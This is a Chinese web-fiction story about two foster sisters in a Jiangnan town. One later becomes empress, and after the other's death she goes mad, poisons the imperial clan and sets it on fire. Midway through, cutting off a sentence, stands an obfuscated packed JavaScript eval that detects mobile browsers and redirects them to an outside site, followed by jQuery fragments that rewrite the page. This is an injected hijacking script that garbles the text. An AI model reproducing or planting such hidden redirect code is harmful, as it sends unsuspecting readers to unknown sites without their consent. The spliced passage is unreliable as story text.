郑箐十一岁的时候,没了阿娘,那时她还不知没了阿娘是什么意思。直到丫鬟小彩收起行囊,渡舟南下,她望着渐行渐远的渡口,才知道,她像春日里断了线的纸鸢,从此飞去了。
她这一生,也确实再也没踏上过故土。
丫鬟小彩忧心忡忡:“小姐此去,住在夫人的表姐家,本就隔了一层。再说表夫人也有个闺女,也不知道那家小姐脾性好不好,会不会欺负我们……”
郑箐向来随性洒脱,今朝有酒今朝醉,从不考虑第二日的,“她欺负我,我就欺负回去,愁那么多做什么?”
“这寄人篱下的……”
“你这话就说得不对了。表姨能接我去住,是因与我娘的情谊,才如此劳心劳力,我若是先存了这层心思,行为举止不自觉便与她们远了些,战战兢兢的,岂不辜负原本的好意?不如顺其自然,自在相处……”
“我没小姐想得通,凡事啊……”
“此话休再提了。”
小彩一路担忧的事情终究八竿子打不着。梁氏全家性情温和雅正,在江南偏僻的小镇经营一家布庄,桑田百亩,日子在当地还算富裕。
唯一的缺憾便是,女儿梁妍又聋又哑,胆小安静,过于娇弱。
这回,小彩不担忧表夫人家小姐欺负郑箐,倒开始忧心郑箐欺负梁妍,嘴里常道:“小姐啊,收起你平日里没正形的歪主意吧,别带坏了人家梁小姐了……”
又道:“真可惜,长得那般好颜色……没见过这般美的女子……若是会说会唱,那还得了?”
“学那些弹唱的勾栏手段做什么?”郑箐啐道。
梁妍见谁都怯怯的,躲在邱嬷嬷身后,只露出两只眼睛,悄悄打量外人。然而,郑箐与梁妍第一回相见,便领着她去乡下捉鱼,梁家人引以为奇。
从此,梁妍像个跟屁虫一般,跟在郑箐身后。爬树、采桑、养蝉、去深山寻药材……什么事胆大包天,郑箐专做什么事。
渐渐地,梁妍身子骨也结实不少,梁夫人也乐得随她们去了。
她们做坏事,向来是郑箐做军师,指哪儿打哪儿,梁妍只会点头。有一回,郑箐严肃道:“妍妍,你不乐意做的事情,一定要摇头,不然你委屈了自己,可不好……”
梁妍目光茫然。
“比如上回我们去山里采药,下雨了躲进山洞里,那么多蝙蝠很吓人的,你害怕得要死。这回我让你跟我去的时候,你为什么还点头?”郑箐循循善诱。
梁妍比她小一岁,一提到蝙蝠,便后怕得浑身一颤,泪光闪烁,然而依旧坚定地点头。
郑箐说教失败,忍不住高声道:“对你明明不喜欢的事,要摇头!”
闻言,梁妍恍然大悟,试探性地摇了摇头。见郑箐仍黑着脸,又快速点头。
郑箐抚额:“我脸再黑,你都可以摇头……算了,之后再说……这回去山里采雨后新长的蘑菇,离那个山洞远远的,好不好?”
梁妍兴奋地一个劲儿点头。这一回,倒是真心实意的。
郑箐笑了。梁妍便是这么的没有主心骨,可这也不是什么大事儿,她刚好有。
妍妍以后有什么事,有她来出主意,就好了。
……
因梁妍天生不会说话,每每与郑箐一起进山时,一些打猎的顽劣少年会故意跟在梁妍身后,大喊“小哑巴”,可梁妍连这侮辱调笑都听不到,往往回之以笑颜,引得那群少年郎更为嚣张,发出古怪的叫声。
每到这个时候,郑箐便操起一竹棍,把那群少年打得落花流水。
梁妍见状爬上树躲起来,避开乱战。等郑箐把那群少年打跑了,才爬下树,满脸焦急地望着郑箐,发出咿咿吖吖的声音。
郑箐被她又哭又笑的样子逗乐了,比着手势道:“小哑巴,你倒也不傻啊,知道躲起来!这才对啊……”
小哑巴———只能她来叫。
因为只有郑箐对妍妍是不是哑巴,毫无芥蒂。
旁人唤梁妍“小哑巴”时,她虽听不到,却能从旁人的眼神中猜测那是带着刀刺的词句,只红着脸绞衣角,不知道该干什么才勉强一笑。可郑箐唤她“小哑巴”时,眸子亮晶晶的,仿佛让荆棘里也开出一丛花来,梁妍狠狠地点头,生怕郑箐不知道,她喜欢听她那般唤她。
时光如同梁家布庄里顶贵的绸缎,极为顺滑地溜走。
那一年,她们去山里摘野樱桃,两大筐竹篓装着里或大或小的红樱桃。梁妍踩在树杈间,没听到郑箐大声喊停的声音,自顾自摘红彤彤的果实,正起劲儿,完全没注意到树下有别人来了。
郑箐长到了十四岁,纤长高挑,可常与她们作对的少年们长得更为壮实,又比她高了一个头,将她围在中央。
少年们有备而来,郑箐周围没有趁手的木棍。可她也不怕,箭步冲向站在最前的少年,死死咬住对面的手腕。
“啊!”那少年的惨叫回荡林间:“你这疯姑娘,以后看谁敢娶你?”
少年被咬出了血,郑箐却没松口。“你们这些兔崽子!还不快来救我……”其他几个少年手忙脚乱地扯郑箐头发,又掐又挠。郑箐吃痛,却依旧没松口。
场面一时混乱。
咚——
树下的少年被从天而降的樱桃砸了一脑门,怒不可知。
梁妍从树上溜下来,短衫被树杈刮破了洞,举起刚折的樱桃枝,学郑箐从前的样子朝少年们挥去。这是少年们第一次见“小哑巴”发威,一时应付不过来。
郑箐趁机挣脱,捡起地上的枝干,几个回合,把少年们打得落荒而逃。
“一个疯姑娘,一个哑巴,你们这辈子都嫁不了人!”少年们边逃跑边喊。
等少年们跑远了,梁妍满头大汗,扔下樱桃枝,哇的一声哭了出来。
“这才知道后怕!”郑箐笑着抹开她的眼泪,“妍妍,你真……”
夸奖的手势还没比划完,梁妍哭得更厉害了,肩膀一抽一抽的。郑箐慌了,连比带划:“以后不会发生这种事了……妍妍,你别哭……”
梁妍哭得撕心裂肺,半晌,才比划着“不能让阿悦姐姐受伤”。
小哑巴所有的后怕,都源于她差点不能保护她所珍视的人。
经此一役,两人脸上沾灰,衣衫褴褛,相互搀扶着下山回家。梁夫人见到两个形容狼狈的孩子,又是心疼又是生气,竟头一次重重地处罚了两人:关一月的禁闭。
深夜,郑箐趴在竹榻上,梁妍给她的后背上药。被药草一激,郑箐疼得龇牙咧嘴。
忽地,郑箐如梦初醒地坐直,比划道:“糟糕啦!"
对面比了个“怎么了”的手势。
“摘的樱桃,都忘了带回来!”
两人掐指盘算着出了禁闭,樱桃怕是被飞鸟们都啄坏了。俱是懊恼不已。
很多年后,郑箐坐在椒房殿的朱漆雕凤长窗下,望着琉璃盏里泛着红光的樱桃,舌尖生津,心里却发出叹息:还不知道那年山里的野樱桃,是酸是甜。
她永远都不会知道了。
……
“樱桃事变”后,梁夫人替郑箐和梁妍请了一位夫子,专教她们练字、读经,又请了个账房教着理布庄的账本,再不许像从前那般离经叛道。两人如此拘了两年性子,先后及笄,渐渐有了美名,以至媒婆踏破梁家门槛。
梁夫人先给妍妍定了一门亲事,是隔壁乡的傅姓秀才,家境殷实,人品端正,长相斯文。妍妍嫁过去,必不会吃苦。下好定后,两家约定三年后再成亲。一是妍妍想在家多陪陪梁夫人,二是因傅秀才一心科举,想过了乡试再娶妻。
时值上元灯会,郑箐主意颇大,找小彩给傅秀才递了个口信儿,相约银楼。她才不会放心妍妍嫁给一个没见过面的人。
妍妍不明所以,只当郑箐与她一起挑选银饰。梁妍对玉铃步摇爱不释手,于是,郑箐把所有体己钱掏出来,买了两只步摇,一人一只。两人欢喜时,银楼来了一位青衫书生,一手执画扇,一手提着灯笼。
郑箐一愣。
来人竟是当年带头欺负她们的少年。
嗬。不打不相识。
傅况一见到嗔怒的两人,脸红到耳根,奉上亲手做的灯笼:“当时,年少不知事,还望姑娘见谅……我……”
郑箐还没什么反应,梁妍倒拉着她的手,冲出银楼,坐上软轿扬长而去。回程路上,妍妍气呼呼地比手势:“我不嫁他了!他不是好人!他欺负过阿悦姐姐……”
郑箐笑得直不起腰。心想,妍妍真好。
梁妍从小胆怯惯了,但郑箐没想到,她们人生中的第一场波澜,却是妍妍掀起的。
灯会一别,梁妍回家后便宣布:不嫁人了,至少傅况,是绝计不嫁的。
听见女儿要悔婚,梁夫人两眼一黑差点晕厥过去,商贾之家能与童试首名的的秀才联姻,算得上是高嫁了。但她知道女儿耳根子软,温言好语劝了许久,梁妍的头依旧摇得拨浪鼓一般。
甚至,妍妍开始绝食,以明其志。气得梁夫人大骂:“若不嫁傅况,便一辈子做姑子去吧……你去哪儿寻这么一桩好亲事?!”
梁妍一听,若有所思:“也可以。”
梁夫人:“……”
说者无意,听者有心。梁妍与郑箐便打听起带发修行、了却尘缘一事,两人一拍即合:若是嫁人,两人各为人妇,一辈子难得相见,不如一起出家得了。
两人行事如风,次日起,就开始斋戒持素,焚香诵经。郑箐还亲手雕了两支极素的蝴蝶木簪,一人一支,挽起青丝,敲响木鱼,誓要一辈子远离红尘。
梁夫人气得半死,见两人心意已决,想到两个姑娘几天没吃饭了,心一软,只得先开口回绝了傅家的婚事。至于带发修行——她想着两人还小,过两年春心萌动,自然也就愿意嫁人了。
悔婚一事,在偏僻的江南小镇传得沸沸扬扬。
直到次年春,梁家门可罗雀,谁家媒婆也不敢贸然上门来提亲。梁夫人心思淡了,逐渐对两个姑娘的管束松了不少。
那一年,郑箐十六岁,算得一手好账,常常出入布庄给掌柜们出谋划策,钻研时新的染布花色。短短一年时间,梁家布庄便开到了府城。她这般经营庶务,也是因与妍妍的约定。
若要终身不嫁,行于世间,最好得有银钱的依仗,黄白之物多多益善——这件事不容易,由她来做就好了。
梁妍身子比从前硬朗,却一直不喜见人,也就没跟着郑箐四处奔波。没了这个跟屁虫,郑箐一开始也愁眉苦脸,后来想着等布庄开到京都,可以带着妍妍一起去看繁华盛景,便振奋起来。
那段时日,郑箐披星戴月,睡梦里都是一把算盘、一本账簿,只夜里跟梁妍偶尔同睡时,能拉着手比划几句,梁妍每每也只问她累不累。
“不累。”郑箐手势都没比全乎,便睡着了,完全没注意到梁妍眉宇间的变化。
等郑箐注意到时,已经晚了。
妍妍练字时,会发痴一般凝住指尖,连墨迹晕开宣纸也没注意到,唇角泛笑、脸颊绯红。她甚至开始学刺绣,歪歪扭扭绣了一个香囊。
起初,郑箐以为香囊是送给她的,等到生辰,只收到府城里才有的青玉算盘时,郑箐皱眉了——不是亲手做的,便是俗物而已。
妍妍笑着比划“这是托掌柜的偷偷带回来的,花了我全部的体己!”
郑箐又开心起来。妍妍还是很费心思的。
但梁妍每到午后,会消失一个多时辰——若不是小彩跟郑箐说了此事,她还被蒙在鼓里。
有一日,郑箐悄悄尾随假作午眠却溜出房门的妍妍,七弯八绕,走进临街墙皮斑驳的院子。
梁妍正扶着一身长玉立的男人行走,拐杖就在不远处的水井边,许是比划到什么有意思的事情,两人唇畔带笑,见郑箐推门而入,均是错愕,连笑意都来不及掩藏。
男子身披灰衫,不饰华贵,然似寒松立雪,静而不凡,自有一股肃杀之气。五官如刀斧所刻,器宇轩昂。眉锋入鬓,眼中藏锋。一看便不是好相与的。
最令郑箐气愤的是,他腰间系着一香囊,灰布素线,针脚细密。似有若无的栀子清香拂动人心。
郑箐上前抢过香囊,大骂:“你这个登徒子!”不料男子身手敏捷,反手夺回香囊,收入袖中。
嗬,还会武?妍妍说不定吃了亏。
郑箐抄起木杖,却被梁妍死死拉住。她胡乱比划之下,郑箐才知晓这段时日发生的事情。
郑箐常不在家,梁妍百无聊赖,有一日心血来潮,独自进了山,却遇到满身是血、昏迷不醒的男子。恰逢下了雨,她将男子拖入山洞,暂避暴雨。
男子乃京城人氏,名唤容钧,被人追杀至此,千叮万嘱请梁妍不能声张,甚至不要延医问药。好在容钧伤得不重,梁妍另赁了个院子,让他静养。
听完,郑箐又气又恼又心疼。
青玉算盘五贯钱,而妍妍的体己足有十多贯,剩余的银钱刚好够她赁屋三月及容钧的吃穿用度。郑箐当时若是深想一层,早就发现端倪了。
妍妍最怕蝙蝠,却为了这男子,躲进她避之不及的山洞。她那时可有害怕?
一时,郑箐五味杂陈。
容钧拱手作揖,“子衡见过阿悦阿姐,常听妍妍提起你。”
“谁是你阿姐?还有,妍妍二字,是你能叫的?”郑箐心生警惕。
容钧顿了顿,郑重道:“我与妍妍两情相悦……子衡定三书六礼,迎妍妍过门,不负此情……”
余光瞥见妍妍羞怯的垂眸,郑箐如遭晴天霹雳,她看得出,妍妍是愿意的。
——可她,不愿意。
此人被追杀。谁知容钧家世背景为何?万一以后连累妍妍怎么办?她直觉,嫁给容钧,不是个好归处。
既已事发,梁夫人也知晓了此事。尽管妍妍尽力比划着她愿意嫁容钧,郑箐声量更大,抽丝剥茧,力证陈词劝住了梁夫人。
是啊,来路不明,如何能嫁?
尘埃落定。妍妍抿唇,没再看郑箐一眼。
梁妍第一次把背影留给了郑箐。
……
次日,容钧却走了。只留下一封书信,信上说:有急事回京,待三月后,十里红妆迎娶梁妍。
郑箐抓住了容钧的把柄,指着书信劝解妍妍:“他必是知难而退……临走还给你念想,真真是个黑了心的!”
梁妍空自比划了几下。
郑箐没看懂,梁妍却也没有别的动作了。
等了三个月,容钧却没出现。
梁妍没再笑过。
郑箐再也没能逗笑妍妍。她有些生气:容钧就那么重要吗?说好的一起当姑子,妍妍先自反悔了。她都没生妍妍的气,妍妍凭什么气她拆散他们?
是妍妍先背叛了她们。
对,就是这个词。背叛。
郑箐越想越气,也不再理梁妍。她总觉得,时光荏苒,妍妍会明白,始终守在身边的,只有她。
她们是一生一世的好姐妹。
……
容钧走后的第四个月。那日,雨后明净,从渡口一直到镇上,百里红妆,一抬抬喜礼盛着奇珍异宝,喜庆的唢呐声连绵不绝。郑箐刚从布庄出来,以为是哪个大户人家娶妻。可算来算去,连县上都不曾有这么富的人家。
直至她在人群中,看到了鲜衣怒马的少年。是容钧回来提亲了。
原来,容钧是大晋正五品郎中将,家世清贵。为护当今太子而被刺客追杀,因怕太子的下落被人知晓,才不敢声张。回京后,皇帝论功行赏,容钧替未来的夫人讨了个宜人的诰命。
此次提亲有陇州知州出面牵线,梁家上下受宠若惊,自然应下这门亲事。
“没想到,哑巴姑娘飞上枝头做凤凰了啊!”
“还有诰命在身呢,这命也太好了……那么多聘礼,也不知梁家拿什么做嫁妆?”
“那丫头跟对了人,可有享不尽的荣华富贵……哪里还瞧得上布庄那三瓜两枣?多少嫁妆都不够啊……”
此事轰动一时。郑箐走到哪儿,都能听到纷纷议论。
她拨起青玉算珠的手凝住了。日日夜夜筹算的布庄生意,比不过小小的妆奁一笼。她还费个什么劲儿?
真真可笑。
小彩又开始念叨:“真羡慕啊……不知道梁小姐嫁到京都那么远的地方,会不会乐不思蜀了……”
郑箐心一坠。京都,她还从没去过呢。山高水远,再相见,谈何容易?
她抓起蝴蝶木簪,终于推开了梁妍的房门。几个月以来,她们互不搭理,泾渭分明,梁夫人各自劝解也没能挽回局面。见郑箐来了,梁夫人忙找了个借口离开,留两姐妹说话。
郑箐向来伶牙俐齿,此时却闷着嗓子,素手绞衣,半晌,只笨拙地将蝴蝶木簪塞进梁妍手中。
啪——
木簪掉落在地。
郑箐一愣,脑袋轰隆作响。
只见梁妍情绪激动地比着手势,痛斥她,不能再拆散他们了。她不想当姑子。她要嫁给容钧。
郑箐浑身发寒。
“蝴蝶木簪本就是一对的,都给你,带去京都吧。当时年纪小,说当姑子,还能真当姑子不成?我比你大,原谅你的背叛啦。阿姐就是这么深明大义。京都那么远,若是想我了,看看这木簪,当个念想。以后,我会把布庄开到京都,我们又能时常见面了……”
——深夜里百转千回演练好的话,没能说出来,便再也开不了口。
郑箐捡起蝴蝶木簪,气血上涌,比划道:“高嫁是风光无限,但你们门不当、户不对,真以为能讨得了什么好?你一点依仗都没有,婆母会给你好脸色?若是容钧哪一日纳妾,你打碎牙也只能往肚里吞。到时,别怪姐姐没提醒你!”
郑箐只要愿意,可以把话说得极其难听。
梁妍气得满脸通红,背过身去,不再看她。
这是梁妍第二次给了郑箐背影。
也是最后一次。
……
两人不欢而散。
小彩私下劝郑箐:“小姐,你做的事容不得我插嘴,可这一回,真真是你做错了……”
“……”她才没错。
“小姐,你也太不把自己当外人了——这便是你这些年,犯的最大的错。”
郑箐怔住。
是啊,她一个孤女,有什么资格掺和梁家的婚丧嫁娶?梁夫人有了个东床快婿,这等喜事若是被她搅黄,多年的情谊便如薄雪见春,彻底没了。
心里似有万千蚂蚁撕咬。顶着一轮残日,郑箐一口气跑到渡口。乌江水缓缓东逝,她捡起石子往水里扔,一连扔了十来个仍不解气,又高高举起蝴蝶木簪,却始终没扔。
见四下无人,终是大喊:“谁说的红颜祸水,男人才是坏东西!一个比一个讨厌!我郑箐以后,要把所有男人踩在脚底!”
落霞铺满江面,身后响起一道笑声:“你这女子,好没道理!厌恶一个男子,便使全天下男子连坐。”
郑箐转身便看见一个衣着矜贵的玉面郎君,一眼便认出是迎亲队伍里容钧的狐朋狗友,更是气不打一处来:“你偷听女子的私房话,更没道理!”
对面笑道:“女英雄心有壮志,只是不知,姑娘如何能做得到,为天下男子之尊?”
自己的一时气话被人打趣,郑箐白了那人一眼,“关你何事?”径直走开。
“我等着看姑娘大展拳脚。”那人眉飞色舞道。
郑箐心道,容钧的朋友果真一丘之貉,一般的讨人厌。
……
半月后,梁妍一身嫁衣,乘舟北上,临行前,也没有跟郑箐单独说过一句话。
郑箐心里有气,也不肯低头。直至半年后,郑箐终将梁氏布庄开到了京城。
柳拂朱楼,雾重花深,京都繁华得使人移不开眼。她终于踏上了妍妍所在的土地。
从前劝两人尽快和好的小彩,竟也愤愤不平道:“小姐这半年寄去那么多信,半点回信都没收到。真真气人也!别是不想搭理我们穷亲戚吧?”
郑箐也很难过。
其实,她到京都的第一日,便忍不住拜访容府,却被管家慢待,最后等到日落西沉,才得了一个回音:“夫人去参加大理寺卿夫人的生辰宴了……”那一日,亦是郑箐的生辰。
她愣了一下,也不再苦等。
小彩一路都在骂:“她如今成了诰命夫人,就摆起谱来啦!”
彩云易散琉璃碎。
京都果然很好,好到让妍妍,一点也想不起她。
……
可郑箐是个执拗的性子。
妍妍忘了她——她偏偏要像一根刺一样,生生扎进妍妍眼里。
她要站得比妍妍更高。
她要让妍妍承认,是她错了。
一次偶然,郑箐在西市进货时,遇见微服私访的大晋太子——正是当年乌江边与她争锋相对的少年,名唤魏允和。略施小计,郑箐便赢得了太子的心。
次年,太子继承大统,改元景宣。郑箐被纳为美人,从此再也没走出皇宫。她一步步往上爬,又母凭子贵,成了大晋第一位平民出身的皇后。
妍妍,你看看,谁对谁错。
谁才是真正的飞上枝头的凤凰。
妍妍,我的故事满京传颂,你听到时,会不会想起我是你阿姐?
妍妍,只要你低头,我会成为你最坚实的依仗。
可梁妍,从没给她只言片语。
……
初登后位那年,郑箐召命妇入宫。宜人品级不够,郑箐大笔一挥,特召宜人以上的命妇入宫。人数一多,召会便显得过于盛大。
闵帝担忧道:“刚生律儿,怎么能这般劳心?”
郑箐笑了:“我一向神完气足,陛下难道还不知?”
是她想见妍妍了。
三年未见,甚是想念。
等到了命妇入宫那一日,郑箐起了个大早,小彩替她换了好几种发髻,她都不满意。又备上了一妆奁的首饰,准备送给妍妍。几番折腾,梳妆完毕后,小太监传来消息:“容氏夫人身染风寒,一时病重……”
郑箐心冷嘴也冷:“好端端的,偏生今日病重了……”
她很难不多想,是妍妍不想见她。
从此,便是桥归桥、路归路。
她好好当她的皇后,先后生了两位皇子,可关于梁妍的消息仍像风吹叶卷一般,溜进她的耳朵。
听说,容钧夫妻恩爱,一生一世一双人,可惜十年间两人无所出。听说,容夫人因十年不育,受婆母嫌弃,近来正闹着给容钧纳妾、抑或休妻。
郑箐听后冷笑一声。至亲至疏夫妻。妍妍当年所坚持的,如今一地鸡毛,可值得?
当夜,郑箐做了一个梦。梦里是江南小镇,妍妍爬上树,给她摘樱桃,鹅蛋脸密布细汗,比划着:“阿悦咱们快摘,不然都被鸟儿吃光了。”
她惊醒了。枕上湿了一片。
明明在梦里吃到了魂牵梦绕的野樱桃,郑箐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521275|170733||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却哭了。
当日,郑箐传下口谕,特许容氏夫妇去泰山下的玄女庙烧香拜佛。
这座玄女庙地位超然,因与玄女祭坛同在泰山,一南一北相对,不论求子还是祈福,最是灵验。仅魏氏宗亲可出入此庙。不出一月,果然传出容氏有孕的好消息。
郑箐心情大好,对着闵帝都有了好脸色。两人蜜里调油了几天,像是回到了情窦初开时。不久,郑箐也有了喜脉。
她与妍妍,竟在同一年当上了母亲。
同年冬月,郑箐多年来第一次收到了妍妍的回信。
梁妍做了个胎梦,要在泰山上的玄女庙生产,不然难以顺利产子。这个要求可谓大逆不道,想必她提出时亦战战兢兢。郑箐看着桃花笺上凌乱的笔锋,力排众议,许了她的请求。
郑箐也怕。万一,一尸两命……她不敢想。
那日泰山苍穹,紫气萦绕,霞光不绝。容氏双女携吉兆出生,钦天监上报此事,洋洋洒洒写了一长篇青词。郑箐什么也没听到,只听到容钧的一双女儿,一个叫容箐,一个唤容悦。
容箐,容悦。
郑箐湿了眼眶。妍妍的心里,原来一直是有她的。
多年积攒的情绪涌来,腹内的疼痛海浪一般袭来。她生这一胎,如同走了个鬼门关。
闵帝无女,尤为疼爱晋阳公主。魏允和挑了好几个名字,都不满意。郑箐怔怔道:“不如叫她,妍妍吧。”
“魏妍?鲜妍美好,倒也不错。”闵帝笑眯眯道。
妍妍。
郑箐每每唤起这个名字时,恍惚觉得,经由她的身体,她生出了一个姐妹。
永远不会离开她的姐妹。
……
经此一育,郑箐元气大伤。
仅一个风寒,便能大半年缠绵病榻,总也好不了。全身疼痛,总觉得风往骨头里钻。有时睡一整天,有时睁眼到天亮。她常常分不清何时是梦,何时不是。
她会用有没有“妍妍”在场,区分梦境与现实。
可有时,魏允和会抱着一个小丫头,唤“妍妍乖”。于是,郑箐彻底分不清了。
有一日,天朗气清。郑箐难得的清醒,抱着三岁的魏妍逛御花园,忽然福至心灵,召容箐容悦入宫玩耍。
她以为,妍妍会一起来。但只有一嬷嬷领着一双玉雪小人儿。
这么明显的暗示,妍妍会看不懂?
郑箐冷哼一声,她才不服软。
容箐两姐妹,一个如朝霞初绽、照花千树,一个似清秋霜露、澄澈静好。郑箐看到她们,就像看到从前的自己和妍妍。此后,她只要清醒时,便召见容氏两姐妹入宫。
她以为,总有一天,她会等来妍妍入宫,对她哭着说,好想她。
直至有一日,魏妍与容悦大打出手。魏妍的眉毛缺了一口,血流不断;容悦也没好到哪儿去,额头肿得极高。听闻此事,郑箐快步至御花园,又问:“容夫人何在?”
“容夫人身子弱,并未前来,是郎中将入宫。”小太监回。
郑箐脚步凝滞。
妍妍何以避而不见?是有多不想见她。
心一冷,郑箐便头痛了起来,任由长平长公主去御花园理事。
……
郑箐的头痛愈演愈烈,清醒的时刻越来越少。每回清醒过来,便是不好的消息。
听说,长平长公主看中了容钧。
又是容钧这个祸水。
郑箐暗骂。她勉力撑着身子,去游说公主:“容钧三十有四,有妻有女的,跟你皇兄一样大,这么老了,怎配你花容月貌?”
长平公主含羞带笑,任性道:“可他跟话本里的玉面将军一模一样!我才不管他妻女。一见倾心,非君不嫁。”
见此路不通,郑箐又火急火燎去太和殿,斟酌几番,对闵帝道:“陛下何不劝解长平?容钧有妻女,如何是良配?”
闵帝满脸肃色:“我魏氏看中的人,不论其他,便是良配。”
“容钧和离,公主下嫁,传出去也不好听啊……”郑箐劝道,“大晋公主何必跟一平民女子争夫?”
满室寂然。
落针可闻。
半晌,闵帝才抬起眼眸,满眼通红,斥道:“这么多年了,你还是对容钧念念不忘!皇妹欢喜,想嫁容钧,与你何干?你又何必吃醋?”
一席话,把郑箐说懵了。
“当年你在乌江边,骂的不就是容钧?因爱生恨的戏码,朕真看够了!”
闵帝一把打翻堆积如山的奏折,“朕以为,夫妻多年,你对……我,总会多一分真心。”
“我对你不够好么?那年立后,文武百官掀起一场场风雨,辩来辩去,说的无非是你身世寒薄,不堪凤仪。可我说,若你不配为后,则天下无后、乾坤无序。”
“我们有了阿修阿宪,你的心都还在容钧身上!别以为,我不知道你偷偷打听容氏的后宅之事!这些我都忍了……你不愧是朕的好皇后,气量非同寻常,容氏无子,你竟还下诏,赐玄女庙求子一行……那时,我以为你全然放下旧情。”
“谁知,你变本加厉,成日召容氏姐妹入宫!你想从那两姐妹的脸上,看到谁?区区容钧,就这么让你难忘?”
“郑箐,你知不知道,就是你害了容钧?他身有军功,本不该止步五品郎中将,可朕,偏偏喜欢看他,有志难酬!”
郑箐的腰被掐得生疼,泪涌上来:“不是的,我在意的人,不是他!怎么可能是容钧?”
闵帝眸子掠过一丝希冀的光采:“是谁?”
“是容钧的夫人,梁妍。我们是好姐妹……”
皇帝眸底最后一丝光亮被湮没,唇畔尽是讽刺:“好姐妹?十余年来,你们可曾见过一面?竟还骗我?”
郑箐一怔。
“梁妍?魏妍?哈哈哈哈郑箐,你骗我骗得好苦!”闵帝怒而咆哮:“郑箐,你想当梁妍想疯了吧?恨不能取而代之吧?”
“郑箐,你让朕,恶心……”
长风猎猎,闵帝拂袖而去。帝王之怒可伏尸百里。次日,皇后重病的消息传遍宫中。郑箐被幽禁于椒房殿。那时起,她清醒的时刻便更少了。
时而焦心于梁妍,时而又想起当年乌江初遇的少年郎。梦境颠倒,不可遏制。
等她再次清醒时,听说容氏妻女“病逝”。宫中盛传,长平长公主赐白绫毒酒,生生要了容夫人的命。
郑箐从枕头底下掏出蝴蝶木簪,往地上一摔,又哭又骂,谁让你死的?
她还没见妍妍一面呐!
从前,总觉得来日方长,她总有一天,会站在妍妍面前,诉尽思念。
这一天,再也不会来了。
……
椒房殿的皇后疯了。
宫中禁止谈论关于皇后的一切事。连昭明太子生辰想去探望皇后,都被闵帝呵斥,打发去乌江治理水患。
那一年夏末,大晋旱涝不断,天麻肆虐,落榜书生傅况揭竿而起。
起义军攻打皇城时,昭明太子远在陇州,魏氏宗亲仓皇出逃京都,闵帝忽下令:带上皇后。众宦官才恍然,他们都差点忘了椒房殿还有个疯疯癫癫的皇后。
一行人逃至骊山行宫时,昭明太子携龙虎军终于赶了来。众人心稍定,觉得班师回朝指日可待。
闵帝一夜白头,望向匆匆而来的太子:“去看看你母后吧?”
昭明太子提步而去。忽听闵帝唤他:“不要告诉你母后,妍妍没了。”
晋阳公主死于流箭。
太子称“是”,身形一晃。他去陇州前,魏妍还抱着他的腿要桂花糖吃,耍赖不撒手,竟这么没了。
那一夜,郑箐又清醒了过来。她换上一身素衫,见到太子便笑:“阿律,我当年与你父皇初见时,便穿的这一身,这布还是我亲手染的,好看么?”
“好看。”
“去叫你父皇来,我们吃一顿寻常的团圆饭。”郑箐叹了口气:“妍妍没了,只剩我们几人。此时若不相见,何时又再见?”
语气近乎疯魔的平静。
为何这么平静?是哪个太监说漏了嘴,跟皇后说晋阳公主已死?
太子心有疑虑,却也高兴于父皇母后大吵一架后,终能重归于好。
闵帝听到皇后的邀约,怔了怔,竟一口应下。
晚食摆在行宫主殿,魏氏宗亲俱在。听闻起义军节节败退,众人都很高兴。帝后相见,竟也如从前那般,相敬如宾。席间,说起乌江洪水一事,均唏嘘不止。
皇后忽低声道:“阿律,你与阿宪回一趟京都,替我取一样东西。”
“什么东西?”
此时回京,恐有起义军残部流窜于大街小巷,并不是好时机。
“当年,我刚到京都开布庄,去永安坊玄女庙烧香,求她佑我财源滚滚来,偏偏抽中了下下签。恰有一少年郎路过,将他的上上签给了我,说他福大命大,分一点福泽给我。”皇后笑道。
“后来,我怕那下下签给少年郎招来什么厄运,又偷了过来,一直放在玄女神像下供奉。住持说,供奉十六载,便可解灾厄。如今十六年期已到,你快去取来。”
太子疑道:“我一人去就成,何必让宪弟跟着一道?”
闵帝脸一红,气恼于昭明太子的毫无眼色,斥道:“你母后让你们去便去!明儿一早要是没看到此签,拿你们是问!”
打发走了太子兄弟二人。帝后相望无言。
月色如水。郑箐高举酒杯,眸光清亮:“魏允和,你是福泽深厚,可你知不知晓,生死有命?”
闵帝怔住了。
“你们凭什么可以决定我们的生死?就凭你姓魏?就凭你们是传说中玄女娘娘的后代?妍妍没了,就因为你们姓魏的一句话?”
妍妍死于流箭……话还未脱口,闵帝才意识到,此妍妍,非彼妍妍。皇后压根儿没有清醒,很多事情在她脑子里扭曲变形,混乱如麻。她甚至还搞不清,她的女儿晋阳公主已然去世。
“凭什么?我们一样是人啊!魏允和,你分我的那点福泽,我受不起!也不想受了!”
魏氏宗亲应声倒下——他们喝了御赐的桂花酒,浑身瘫软。
火光四起,霹雳作响。
闵帝隔着火光看向郑箐,甚至没想过逃出大火。这是他爱了一生的女人,胆大包天、敢作敢为。闵帝张了张口,终究没有说出“晋阳已死”的话。她已经疯了,何必又让她九泉之下不得安生?
雕梁画柱逐渐被大火吞没。
昭明太子半路折返而来,发疯似的要冲进大火,却听皇后声泪俱下地控诉道:“姓魏的都该死!我恨透你们了!”
夜风吹起,火焰又高三尺。
闵帝发疯似的奔向皇后:“你恨我?郑箐,你死了,也是我的鬼后!”
而他的皇后,灿然一笑,亦携着火焰奔向他,揽住他的腰,笑道:“妍妍,你终于来见我了!”
真是疯子,他想。
下下签,果真要命。
火舌卷起两人,烈火灌喉,血肉相融。
木梁应声而折。
仿佛当年折取樱桃枝时,发出的一声脆响。
妍妍,我要给你报仇。
妍妍,我原谅你了。原谅你,从未奔向我。
谁让我们是一生一世的好姐妹。至于下一世,还是各自安好吧。
郑箐想,那年山中的野樱桃,跟眼前的火光一般,红得耀眼。
艳若流丹,几欲灼心。
……